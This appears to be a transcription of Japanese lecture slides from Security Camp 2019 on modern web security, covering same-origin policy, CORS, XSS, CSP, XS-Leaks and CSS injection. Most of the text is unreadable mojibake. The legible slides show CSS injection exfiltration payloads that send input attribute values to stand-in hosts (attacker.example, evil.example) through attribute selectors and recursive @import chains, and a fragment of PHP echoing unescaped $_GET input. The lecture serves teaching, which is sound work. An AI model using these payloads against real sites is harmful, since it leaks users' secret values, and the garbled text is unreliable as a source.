セキュリティ・キャンプ全国大会 2019 開発と運用トラックで提供した講義の資料の一部です。誤りに気がついたら、ぜひ @y0n3uchy あるいは @lmt_swallow にお知らせください。
ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟηΩϡϦςΟɾΩϟϯϓશࠃେձ։ൃͱӡ༻τϥοΫ5BLBTIJ:POFVDIJ!MNU@TXBMMPX !ZOVDIZ'MBUU4FDVSJUZ *OD %FQBSUNFOUPG*OGPSNBUJPO4DJFODF 'BDVMUZPG4DJFODF UIF6OJWFSTJUZPG5PLZPIUUQTTIJGUKTJOGP
View Slide
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ5BLBTIJ:POFVDIJ‣ !MNU@TXBMMPX !ZOVDIZ‣ 8PSLJOHBU‣ %FQBSUNFOUPG*OGPSNBUJPO4DJFODF 'BDVMUZPG4DJFODF UIF6OJWFSTJUZPG5PLZP‣ *ὑ8FC‣ DUGCMFBEFS TFDDBNQTUB⒎‣ 54(EPEPEPEP‣ 4FFIUUQTTIJGUKTJOGP
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟຊࢿྉͷ֓ཁ 4QFBLFS%FDLಡऀ͚‣ ຊߨٛͷࢿྉͱͯ͠ɺҎԼͷͭΛར༻͠·ͨ͠ɻ‣ ࣄલֶशʜถ͕ݱࡏࣥචதͷຊͷߘ‣ ʜ͜ͷεϥΠυ‣ ͜ͷεϥΠυɺࣥචதͷຊͰ·ͩॻ͚͍ͯͳ͍ͱ͜ΖΛิ͏ͨΊͷͷͰ͢ɻ‣ ͥͻຊͷެ։ ग़൛ Λ͓ͪԼ͍͞ɻ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࣄલֶशࢿྉͷ࣍ͷͪΒΈͤ 4QFBLFS%FDLಡऀ͚
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟຊߨٛͷඪ ࠶ 8FCηΩϡϦςΟΛମܥతʹֶͿɺͱ‣ 8FCΞϓϦέʔγϣϯͷ੬ऑੑ 42-J 99& ֶ͔Δ‣ ։ൃ࣌ʹؾʹ͖͢͜ͱɺ֓Ͷଞͷ։ൃͱ͕ࠜҰॹ‣ ೖྗΛ৴༻͠ͳ͍ దͳݖݶཧ FUD‣ ͔͠͠8FCಛ༗ͳύϥμΠϜֶͼʹ͍͘‣ ʮυΩϡϝϯτࢄҳ͍ͯ͠Δ͠ʜʯ‣ ʮ༷ؒͷͭͳ͕Γݟ͑ͳ͍͠ʜʯ‣ ຊߨٛͷඪجຊతͳ8FCηΩϡϦςΟͷύϥμΠϜΛֶͿ͜ͱ‣ Ͳ͏͍͏ڥք͕Ҿ͔ΕΔ͖͔ʁ‣ Ͳ͏͍͏ಈػ͔ΒɺͲΜͳ༷ɾ߈ܸ͕ग़͖͔ͯͨʁ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟࣄલֶशͰͬͨ͜ͱ ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ‣ ࣄલ՝1%'‣ $IBQUFS8FCηΩϡϦςΟ֓‣ ͳͥࠓ8FCηΩϡϦςΟ͕େࣄͳͷ͔‣ $IBQUFS0SJHJOϕʔεͷجૅతͳػߏ‣ 401 $034 944 $41‣ $IBQUFSαΠυνϟωϧ߈ܸʹؔ࿈ͨ͠ػߏ‣ 5SBOTJFOU&YFDVUJPO"UUBDLTͷ͞ΘΓ 4JUF 4JUF*TPMBUJPO $03# $031 $0&1 $001‣ 5SZ401ʜ401$034ͷجຊతͳڍಈͷ֬ೝ‣ 944$IBMMFOHFʜجૅతͳ944ٕज़ͷ֬ೝ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟࣄલֶशͰͬͨ͜ͱ ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ‣ ࣄલ՝1%'‣ $IBQUFS8FCηΩϡϦςΟ֓‣ ͳͥࠓ8FCηΩϡϦςΟ͕େࣄͳͷ͔‣ $IBQUFS0SJHJOϕʔεͷجૅతͳػߏ‣ 401 $034 944 $41‣ $IBQUFSαΠυνϟωϧ߈ܸʹؔ࿈ͨ͠ػߏ‣ 5SBOTJFOU&YFDVUJPO"UUBDL 4JUF 4JUF*TPMBUJPO $03# $031 $0&1 $001‣ 5SZ401ʜ401$034ͷجຊతͳڍಈͷ֬ೝ‣ 944$IBMMFOHFʜجૅతͳ944ٕज़ͷ֬ೝΓ͗ͨ͢ߨٛͰΖ͏ͱࢥͬͯͨ͜ͱ ͥΜͿͬͪΌͬͨʜ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ0VUMJOF ࠓͷߨٛͰΔ͜ͱ‣ *OUSPEVDUJPO NJO‣ 401$034944 NJO‣ 1PTU9448PSME NJO‣ $44*OKFDUJPO NJO‣ 94-FBLTBOE944FBSDI NJO‣ 5SZ401944$IBMMFOHF NJO‣ $44*OKFDUJPO$IBMMFOHF NJO‣ 944FBSDI$IBMMFOHF NJO‣ 3FDPO$IBMMFOHF NJO-FDUVSF $IBMMFOHF
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟΞΠεϒϨΠΫ ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ‣ ౡͷதͰࣗݾհ͠·͠ΐ͏ બߨٛͳͷͰɻ‣ ໊લʜِ໊ɾϋϯυϧωʔϜՄ‣ ͖ͳ͜ͱʜݚڀͷͰɺৗͷͰɺΞχϝͷͰɻ‣ ΛࣗવʹؚΊΔ͔ɺؚΊͳ͍͔ɻ‣ ͕࣌ؒ༨ͬͨΒɺ಄ͷମૢ͕ͯΒɺҎԼΛΛ࠶ߟͯ͠ΈΑ͏ɻ‣ 401 $034ͳͥඞཁͳͷͰ͠ΐ͏͔ɻ‣ 944ͱ401ͷؔੑઆ໌Ͱ͖·͔͢ɻ‣ $41Ͳ͏͍͏ʹର͠ɺͲͷΑ͏ͳޮྗΛͪ·͔͢ɻ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟҙࣄ߲ ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ‣ ΄ͲΑ͍͍ͨͣΒ৺ͱɺͱͯΑ͍ྙཧ؍Λ࣋ͪ·͠ΐ͏ɻ‣ 4/4Ͱຊߨٛͷ࣮گɾײΛπΠʔτ͢Δͷߏ͍·ͤΜɻ‣ ͦͷࡍʹࡍʹɺͥͻҎԼͷλάΛ͚͍ͯͩ͘͞‣ TFDDBNQTFDDBNQC‣ ҙͨͩ͠ɺ͋͘·ͰྙཧతͳπΠʔτΛ৺͕͚͍ͯͩ͘͞ɻ‣ ຊߨٛͷԋशͰɺҎԼͷϗετͷΈΛར༻͠·͢ɻ͜ΕҎ֎ͷϗετʹҰ߈ܸΛՃ͑ͳ͍Ͱ͍ͩ͘͞ɻ‣ IBDRNF‣ TIJGUKTJOGP
ࣄલֶशͷৼΓฦΓ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ8FCʹ͓͚Δڥքͷඞཁੑ ͳͥڥք͕Ҿ͔ΕΔ͖ͳͷͩΖ͏͔‣ υΩϡϝϯτؒͷίϛϡχέʔγϣϯʹҰͷ੍ݶ͕ͳ͚Εɺ߈ܸऀগͳ͍εςοϓͰใΛϦʔΫͰ͖Δɻ‣ FWJMDPN͕GFUDI FYBNQMFDPNΛൃߦ͠ɺͦͷ݁ՌΛಡΉ͜ͱ͕ग़དྷΔ߹ɺ߈ܸऀͲΜͳ͜ͱ͕Ͱ͖ΔͩΖ͏͔ɻ‣ ͋Δ͍ɺFYBNQMFDPN͕MPDBM4UPSBHFʹอଘͨ͠ͷΛಡΊͨΒͲ͏͔ɻhttp://evil.comࣗ͠༝ʹ ಡΈॻ͖͕ग़དྷͨΒʁhttp://example.com
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ0SJHJO3'$5IF8FC0SJHJO$PODFQU‣ ͋Δ63*ʹରͯ͠ɺ0SJHJO࣍ͷUVQMFͱͯ͠ఆٛ͞ΕΔɻVSJTDIFNF VSJIPTU VSJQPSU‣ VSJTDIFNFFHIUUQ IUUQT ‣ VSJIPTUFHFYBNQMFDPN ‣ VSJQPSUFH ‣ VSJQPSU͕লུ͞Ε͍ͯΔ߹ɺVSJTDIFNFʹରԠͨ͠σϑΥϧτͷϙʔτ͕VSJQPSUͱͯ͠࠾༻͞ΕΔɻIUUQFYBNQMFDPNTPNFQBUI
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ4BNF0SJHJO1PMJDZ "OFYBNQMFPGGFBUVSFTCBTFEPO0SJHJO‣ ֓ཁ4BNF0SJHJO1PMJDZ‣ 401ҎԼΛېࢭ͢Δɻ‣ $SPTT0SJHJOͳಡΈࠐΈ‣ ྫGFUDIͷ݁Ռ‣ $SPTT0SJHJOͳॻ͖ࠐΈ ͨͩ͠෦త‣ ྫTJNQMFͰͳ͍ϦΫΤετൃߦͷ੍ݶ DG$034‣ 8FCϒϥβ͕࣋ͭ࠷ϕʔγοΫͳηΩϡϦςΟػߏͰ͋Δɻ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ4DIXFOLFUBM 4BNF0SJHJO1PMJDZͷςετ‣ ٙ 4DIXFOLFUBM ‣ 401%0. 401GPS%0.ɺϞμϯͳϒϥβʹ͓͍ͯɺͲͷΑ͏ʹ࣮͞Ε͍ͯΔͷͩΖ͏͔ɻ‣ 401%0.ʹؔͷ͋Δ)5.-ϚʔΫΞοϓͲΕ͔ɻ‣ ༧ظ͞ΕΔ"$-ͱ࣮ࡍͷϒϥβͷڍಈϚον͍ͯ͠Δ͔ɻ‣ ൴Βͷߩݙ ͷҰ෦‣ 401%0.ͷUFTUCFEΛߏஙͨ͠ɻIUUQZPVSTPQDPN‣ ݕূ๏Λମܥతʹهड़͠ɺࠓ·ͰΤοδέʔεͩͬͨͷर͑ΔΑ͏ʹͳͬͨɻ‣ ݁ՌϒϥβؒͰͷࠩҟ͕ݟΒΕͨɻ ׂ߹ͳͲจࢀর
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ$034 $SPTT0SJHJO3FTPVSDF4IBSJOH 0SJHJOʹجͮ͘ηΩϡϦςΟػߏͷྫ‣ $SPTT0SJHJOͳϦιʔεΛਖ਼ͳ༻్Ͱར༻͍͍ͨͤͨ͠͞߹ʹͲ͏͢ΕΑ͍ͷͩΖ͏͔ɻ‣ ղܾ$SPTT0SJHJO3FTPVSDF4IBSJOH‣ ϦιʔεΛར༻͍ͨ͠ଆɺࣗͷ0SJHJOΛ0SJHJOϦΫΤετϔομͷͱͯ͠ηοτ͠ɺϦΫΤετΛૹ৴͢Δɻ‣ ϦιʔεΛఏڙ͢Δଆɺ"DDFTT$POUSPM"MMPXϨεϙϯεϔομΛ௨ͯ͠ɺڐՄෆڐՄΛ͑Δɻ‣ ϒϥβϨεϙϯεϔομΛݟͯɺదٓڐՄෆڐՄΛஅ͢Δɻ‣ ৄࡉ$SPTT0SJHJO3FTPVSDF4IBSJOH $034)551c.%/ IUUQTEFWFMPQFSNP[JMMBPSHFO64EPDT8FC)551$034
&YFSDJTF 401$034ඇެ։
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ4JUF0SJHJOΑΓMPPTFͳηΩϡϦςΟڥք‣ 0SJHJOݫ͍͠ͷͰɺΑΓMPPTFͳ੍͕΄͍͠ɻ‣ ղܾ4JUF‣ 3FJTBOE(SJCCMF 4DIFNF F5-%‣ 8)"58(F5-%‣ ࠾༻ྫ‣ 4JUF*TPMBUJPO3FJTBOE(SJCCMFͷͷ‣ ࢀߟ$3FJT ".PTIDIVL BOE/0TLPW l4JUF*TPMBUJPO1SPDFTT4FQBSBUJPOGPS8FC4JUFTXJUIJOUIF#SPXTFS zJO64&/*94FDVSJUZ4ZNQPTJVN ‣ 4BNF4JUF$PPLJF $001 $0&1 8)"58(ͷͷ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ 4BNF0SJHJO1PMJDZʹΑΓɺ͋Δ0SJHJOͷͭσʔλɺͦͷ֎෦ͷ0SJHJO͔Β৮Εͳ͍ ˞ྫ֎͋Δɻ‣ 944ͦͷ੍ͷճආͩͱଊ͑ΒΕΔɻ‣ ߈ܸऀ401ͷ੍Λड͚ͣʹ ର0SJHJOͷଆΛಈ͖ճΕΔOrigin Aスクリプト挿⼊入= $_GET['q'] ?>
&YFSDJTF 944ඇެ։
1PTU944ͷੈքΛோΊΔ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟରࡦϑϨʔϜϫʔΫଆ 'PPMQSPPG "VUPFTDBQJOH FUD‣ Ϟμϯͳ8FCϑϨʔϜϫʔΫϥΠϒϥϦͷଟ͕͘ɺ࣍ͷΑ͏ͳରࡦΛఏڙ͍ͯ͠Δɻ‣ جຊࣗಈͰΤεέʔϓ͢Δɻ‣ ։ൃऀ͕ΤεέʔϓΛҙਤతʹແޮԽͰ͖Δ͕ɺةݥשى͢Δɻ‣ FHEBOHFSPVTMZ4FU*OOFS)5.-= $_GET['q'] ?>944ͷग़ݱରࡦͷൃల߈ܸͷൃల
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟରࡦ$41 $POUFOU4FDVSJUZ1PMJDZ‣ ΞΠσΞ‣ ։ൃऀɺ)5.-+4ͷͲͷ෦͕͕ࣗఏڙͨ͠ͷͰɺͲͷ෦͕ͦ͏Ͱͳ͍͔Λ͍ͬͯΔɻ‣ *OKFDU͞ΕͯɺͦΕ͕F⒎FDUJWFͰ͑͞ͳ͚ΕΑ͍ɻ‣ $41։ൃऀ͕ϒϥβʹ ؔ͢Δ0SJHJOਖ਼نͷ+4ͲΕ͔ɺͳͲͷࣄલใΛ༩͑Δ͜ͱͰɺ$POUFOU*OKFDUJPO߈ܸΛ͍Ͱ͍͜͏ɺͱ͍͏ΈɻContent-Security-Policy: script-src 'nonce-4g34...34r'alert('Hello, CSP!')944ͷग़ݱରࡦͷൃల߈ܸͷൃల
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟͰ͖Δ͜ͱ $POUFOU4FDVSJUZ1PMJDZ‣ 'FUDI%JSFDUJWFTϦιʔεͷऔಘɾར༻Λ੍ݶ‣ ྫTDSJQUTSD GSBNFTSD ‣ %PDVNFOU%JSFDUJWFTυΩϡϝϯτͷ࣋ͭঢ়ଶͷૢ࡞Λ੍ݶ‣ ྫCBTFVSJ TBOECPY ‣ /BWJHBUJPO%JSFDUJWFTφϏήʔγϣϯͷ੍ݶ‣ ྫGPSNBDUJPO GSBNFBODFTUPST OBWJHBUFUP‣ 3FQPSUJOH%JSFDUJWFT$41ҧͷϨϙʔτػೳΛ੍ݶ‣ ྫSFQPSUVSJ SFQPSUUP‣ ࣄલֶशͷ1%'ʹܰ͘ॻ͍ͨͷͰɺࡉ͔͍͠·ͤΜɻ944ͷग़ݱରࡦͷൃల߈ܸͷൃల
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ࣮ࡍͷӡ༻ྫ $POUFOU4FDVSJUZ1PMJDZ‣ $41Λಋೖ͍ͯ͠Δ8FCΞϓϦέʔγϣϯ૿͖͍͑ͯͯΔɻ‣ 5XJUUFS (JU)VC 'BDFCPPL 4OBQDIBU ‣ 3FQPSUJOHΛ׆༻͍ͯ͠Δاۀ͋ΔΒ͍͠ɻ‣ IUUQTUXJUUFSDPN)VTTFJ/%TUBUVT944ͷग़ݱରࡦͷൃల߈ܸͷൃల
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟؔ࿈ݚڀ $POUFOU4FDVSJUZ1PMJDZ‣ ࠓͷ$41ʹࢸΔ·Ͱʹɺଟ͘ͷݚڀɾݕ౼͕ͳ͞Ε͖ͯͨɻ‣ දతͳؔ࿈ݚڀ‣ #&&1 +JNFUBM ‣ 40." 0EBFUBM ‣ /PODFTQBDFT 7BO(VOEZBOE$IFO ‣ ॳظͷ$41 4UBNNFUBM -FWFM -FWFM‣ ए͍ࠒ #ͷ͜Ζ ʹॻ͍ͨεϥΠυͳͷͰগʑߥΓ͕ͩɺ͜ͷεϥΠυʹ͜ͷؔ࿈ͷ·ͱΊͯ͋Δɻ‣ IUUQTTIJGUKTJOGPQVCMJDBUJPOT$41QEG944ͷग़ݱରࡦͷൃల߈ܸͷൃల
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟల $POUFOU4FDVSJUZ1PMJDZ‣ $41͕ංେԽɾෳࡶԽ͠ɺʮॏ͍ʯଘࡏʹͳ͖ͬͯͨɻ‣ ۙ$41ͷऔΓѻ͏ྖҬ͕େ͖͘ͳͬͯ͠·ͬͨɻ‣ ޙํޓੑ CBDLXBSEDPNQBUJCJMJUZΛอͭඞཁ͔Βɺଟ͘ͷ͕ൃੜ͖ͯͨ͠ɻ‣ ఏҊ$41ΛEJTKPJOUʹׂ͍ͨ͠ɻ‣ .JLF8FTUࢯʹΑΔఏҊ ͱ͍͏͔ɺΞΠσΞ‣ IUUQTHJUIVCDPNNJLFXFTUDTQOFYU‣ ՝$41͕ࠓ๊͍͑ͯΔͱҰମԿͳͷ͔ɺͦΕΛड͚ͯࠓޙͲ͏ͳ͍ͬͯ͘ͱࢥΘΕΔ͔ɺߟ͑ͯΈΑ͏ɻ944ͷग़ݱରࡦͷൃల߈ܸͷൃల
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟରࡦ944"VEJUPSܥ &YBNQMFTPG$MJFOUTJEF.JUJHBUJPOPG944‣ ࣹܕ944Λϒϥβ͕ݕͯ͠ɺ͙ͨΊͷΈɻ‣ 99441SPUFDUJPOϔομʹΑΓϞʔυ͕ܾΊΒΕΔ‣ ແޮ ‣ pMUFS NPEFpMUFS‣ CMPDL NPEFCMPDL‣ ݱࡏ944"VEJUPSফ͑ΔํʹਐΜͰ͍ΔɻDMBQ944ͷग़ݱରࡦͷൃల߈ܸͷൃల
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ944ٕ๏ͷൃల 4DSJQU(BEHFUT301ͱಉ͡ߟ͑ํ‣ $41ͷ͍ͤͰɺ͏·͘ҙ+4࣮ߦ·Ͱ͍͚࣋ͬͯͳ͍ɻ‣ ղܾ4DSJQU(BEHFUT -FLJFTFUBM ‣ ΞΠσΞ$41Ͱ৴པ͞Ε͍ͯΔ0SJHJOԼͷ+4ɺ͢Ͱʹϩʔυ͞Ε͍ͯΔ+4Λܦ༝ FHFWBMϑΝϛϦͷར༻PSར༻͢Εɺҙ+4࣮ߦʹܨ͛ΒΕΔͷͰͳ͍͔ɻ‣ DG%&1ʹର͢Δ3FUVSO0SJFOUFE1SPHSBNNJOH 3013FUVSOUPMJCD944ͷग़ݱରࡦͷൃల߈ܸͷൃల
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ4DSJQUMFTT"UUBDLT +BWB4DSJQUΛར༻͠ͳ͍߈ܸ‣ +4ΛΘͣʹͰ͖Δ߈ܸʹɺͲͷΑ͏ͳͷ͕͋Δ͔ɻ‣ 944ରࡦ͍ͯͯ͠ɺͦΕҎ֎ҙࣝͷ֎Ͱ͋Δɺͱ͍͏߹͋͠͠ΔͨΊɺ͜Ε༗ӹͳɻ‣ ఏҊ4DSJQUMFTT"UUBDLT )FJEFSJDIFUBM ͕ମܥత‣ $44*OKFDUJPOʹؔͯ͠ɺ"UUSJCVUFSFBEJOH 'POUMJHBUVSFUFDIOJRVF GPOUSBOHFUFDIOJRVF ͷςΫχοΫ͕XFMMLOPXOɻ‣ /FXSFTFBSDIMJOFSFDVSTJWFJNQPSUUFDIOJRVFT 1FQF7JMB IUUQTWX[ROFUTMJEFTT@DTT@JOKFDUJPO@BUUBDLTQEG‣ ͜ͷྨͷ߈ܸ͠͠ࢹ͞Ε͖ͯͨɻ‣ $41पΓͷಈ͖Λ௨ͯ͠ɺΑΓΜʹ۷ΒΕΔΑ͏ʹͳ͖ͬͯͨҹɻ944ͷग़ݱରࡦͷൃల߈ܸͷൃల
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ94-FBLT944FBSDI "UUBDLTBJNJOHUIFQPTU944XPSME‣ ͦͦ$POUFOU*OKFDUJPO੬ऑੑ͕ͳ͍߹ʹɺ߈ܸऀԿΒ͔ͷ߈ܸΛߦ͏༨͕͋ΔͷͩΖ͏͔ɻ‣ ΞΠσΞ͠ใͷશͳϦʔΫ͕ݫͯ͘͠ʜʜʁ‣ $SPTT0SJHJO͔ΒͰಡΊΔใ͔ΒɺԿ͔ҙຯͷ͋ΔใΛநग़Ͱ͖ͳ͍͔ɻ‣ ͦͦಡ·ΕΔ͜ͱ͕ఆ͞Ε͍ͯͳ͍ใΛɺαΠυνϟωϧͷ؍ଌΛ௨ͯ͠ಘΔ͜ͱ͕ग़དྷͳ͍͔ʁ‣ ͜ͷΞΠσΞͷͱɺ$SPTTTJUF-FBLT 94-FBLT$SPTTTJUF4FBSDI 944FBSDIͱݺΕΔྨ͕ొͨ͠ɻ944ͷग़ݱରࡦͷൃల߈ܸͷൃల
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ༨ஊ Ξφϩδʔʁ‣ ʮ%&1ʹର͢Δ301SFUMJCDʯͱʮ$41ʹର͢Δ4DSJQU(BEHFUTʯʁ‣ ϋʔυΣΞ%&1/9CJUʹΑΔ࣮ߦՄೳྖҬͷϚʔΫ‣ $41σΟϨΫςΟϒʹΑΔར༻ՄೳྖҬͷϚʔΫͱݟΕΔ‣ ߏ͕ࣅͯ·͢Ͷɻ͔֬ʹಉ͡ΓޱͰ߈ܸΛݕ౼Ͱ͖Δɻ‣ ྫ6TFBGUFS'SFF.BJM (SVTTFUBM ‣ %(SVTTFUBM l6TFBGUFS'SFF.BJM(FOFSBMJ[JOHUIFVTFBGUFSGSFFQSPCMFNBOEBQQMZJOHJUUPFNBJMTFSWJDFT z"4*"$$41SPD"$."TJB$POG$PNQVU$PNNVO4FDVS ‣ 6TF"GUFS'SFF 6"'ͷߟ͑ํΛҰൠԽͯ͠ணΛಘͨΒ͍͠ɻ‣ %BOJFM(SVTTࢯͦͷपลͷํʑ͕͍ͬͯΔݚڀඇৗʹ໘ന͍ͷͰɺΥον͓ͯ͘͠ͱ͍͍͜ͱ͕͋Δ͔ɻ
$44*OKFDUJPO
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟલఏࣝ"UUSJCVUF3FBEJOH$44*OKFDUJPO‣ ࣍ͷΑ͏ͳ)5.-λάΛߟ͑Α͏ɻ ‣ ͜Ε࣍ͷͭͷ$44ηϨΫλશͯʹϚον͢Δɻ‣ ͜ΕΛԠ༻͢Δͱ ଐੑΛMFBLՄೳɻinput[value ^= "a"] { /* ... */ } input[value ^= "ab"] { /* ... */ } input[value ^= "abc"] { /* ... */ }
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ߈ܸͷߏ"UUSJCVUF3FBEJOH$44*OKFDUJPOinput[value ^= "a"] { background: url(http://attacker.example/?a) } /* ... */‘ 攻撃ベクタリクエストリーク反射型蓄積型準備
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ߈ܸͷݪཧ"UUSJCVUF3FBEJOH$44*OKFDUJPO‣ ࣍ͷ)5.-λάͷWBMVFଐੑΛϦʔΫ͍ͨ͠߹Λߟ͑Δɻ ‣ ߈ܸऀɺ$44*OKFDUJPO͕Ͱ͖ΔॴʹɺҎԼͷΑ͏ͳ$44Λ܁Γฦ͠ BΛC D ͱม͑ͭͭૠೖ͍ͯ͘͠ɻ‣ ߈ܸऀBUUBDLFSFYBNQMFͰͪड͚͓ͯ͘͜ͱͰɺWBMVFଐੑͷจࣈΛΔ͜ͱ͕Ͱ͖Δɻinput[value ^= "a"] { background: url(http://attacker.example/?a) }
&YFSDJTF "UUSJCVUF3FBEJOHඇެ։
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ-JHBUVSF੍ޚʹΑΔϦʔΫ-JHBUVSF$44*OKFDUJPO‣ ͜͜·Ͱʹհͨ͠"UUSJCVUF3FBEJOHͰɺλάͷଐੑ͔͠ಡΊͳ͍ͷͰɺ߈ܸʹར༻Ͱ͖Δঢ়گ͕ݶΒΕ͍ͯΔɻ‣ ղܾҎԼͷΑ͏ͳํ๏ʹΑΓɺଐੑҎ֎ಡΈग़ͤΔɻ‣ ϑΥϯτͷ-JHBUVSF ϦΨνϟΛར༻ͯ͠දࣔ͞ΕΔจࣈͷ෯ ͻ͍ͯεΫϩʔϧόʔΛ੍ޚ͢Δ‣ εΫϩʔϧόʔ͕ੜͨ͡ͱ͖ʹ֎෦αʔόͱ௨৴ͤ͞Δ‣ ิ)FJEFSJDIFUBM ͰΞΠσΞ͕ఏҊ͞Ε͍͕ͯͨɺ1P$͕ެ։͞Εͨͷ#FOULPXTLJ ͝Ζ͕ॳΊ͔ͯɻフォント制御 スクロールバー制御攻撃ベクタ = +
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ͜Ε·Ͱͷख๏ͷ$44*OKFDUJPO‣ ՝"UUSJCVUF3FBEJOH-JHBUVSF੍ޚʹΑΔϦʔΫɺ۪ʹΔͱɺෳճͷϦΫΤετ JOKFDUJPO͕ඞཁʹͳΔɻ‣ 㲎จࣈϦʔΫ͢Δͨͼʹɺ৽͍͠$44Λೖ͢Δඞཁ͕͋Δɻ‣ 㱤ϦΫΤετ͝ͱʹมԽ͢ΔΑ͏ͳରϦʔΫͰ͖ͳ͍ɻ‣ ղܾ3FDVSTJWF*NQPSU5FDIOJRVF 7JMB ‣ ࠶ؼతͳ!JNQPSUΛར༻ͯ͠ɺͷJOKFDUJPOͰϦʔΫΛࡁ·ͤΔɺͱ͍͏ख๏ɻ‣ ͜ͷߨٛͰ͜ͷख๏ʹ͍ͭͯઆ໌͢Δ͕ɺҎԼͷ7JMB͞ΜͷεϥΠυΛಡΉ͜ͱΛקΊΔɻ IUUQTWX[ROFUTMJEFTT@DTT@JOKFDUJPO@BUUBDLTQEG
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ߈ܸͷݪཧ 3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO‣ ॳΊʹ࣍ͷΑ͏ͳ$44Λೖ͢Δɻ@import url(//evil.example/0.css)@import url(//evil.example/1.css)input[value^=a]{/*...*/}input[value^=b]{/*...*/}...input[value^=z]{/*...*/}‣ DTTͷதΛҎԼͷΑ͏ʹ͓ͯ͘͠ɻ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ߈ܸͷݪཧ 3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO@import url(//evil.example/2.css)input[value^=aa]{/*...*/}input[value^=ab]{/*...*/}...input[value^=az]{/*...*/}‣ DTTͷ(&5ϦΫΤετ͕ඈΜͰ͘Δ͕ɺҰ୴์ஔ͓ͯ͘͠ɻ‣ DTTԼ෦ͰจࣈͷϦʔΫ͕ߦΘΕΔɻ‣ ͜ͷจࣈͷϦʔΫͷ݁ՌΛݩʹDTTΛੜ͢Δɻ‣ ์ஔ͍ͯͨ͠(&5ϦΫΤετʹฦ͢Δɻ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ߈ܸͷݪཧ 3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO‣ ར͜ͷΑ͏ͳखॱΛ܁Γฦ͢͜ͱʹΑΓɺॳΊʹTUZMFλάҰͭΛೖ͢Δ͚ͩͰ͋ͬͯɺϦʔΫ͍ͨ͠จࣈྻશମΛϦʔΫͰ͖ΔΑ͏ʹͳΔɻ‣ ؊ཁͳͱ͜Ζ‣ ࠶ؼతʹ$44ΛJNQPSU͢Δ‣ ͬͱ࠶ؼతͰ͋Δඞཁͳ͘ɺฒྻͤͯ͞Α͍‣ ϦΫΤετʹରͯͪ͠ʹฦͤͣɺ४උ͕Ͱ͖͔ͯΒฦ͢Δ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟิ3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO‣ ͜ͷςΫχοΫʹؔͯ͠ɺ߈ܸ༻ͷεΫϦϓτͷ࣮͕ͦΕͳΓʹ໘Ͱ͋Δɻ‣ )551ΛΔαʔό͕ඞཁͳͨΊɻ‣ ࣗಈԽͷͨΊͷπʔϧ͕ެ։͞ΕΔΑ͏ʹͳ͖ͬͯͨɻ‣ IUUQTHJUIVCDPNEOVUQUSTJD‣ IUUQTHJUIVCDPNNPOTFO‣ ͜ΕΛҰࣗͰॻ͍ͯΈΔͷ͘͢͝ษڧʹͳΔɻ
&YFSDJTF 3FDVSTJWF*NQPSU ඇެ։
94-FBLTBOE944FBSDI
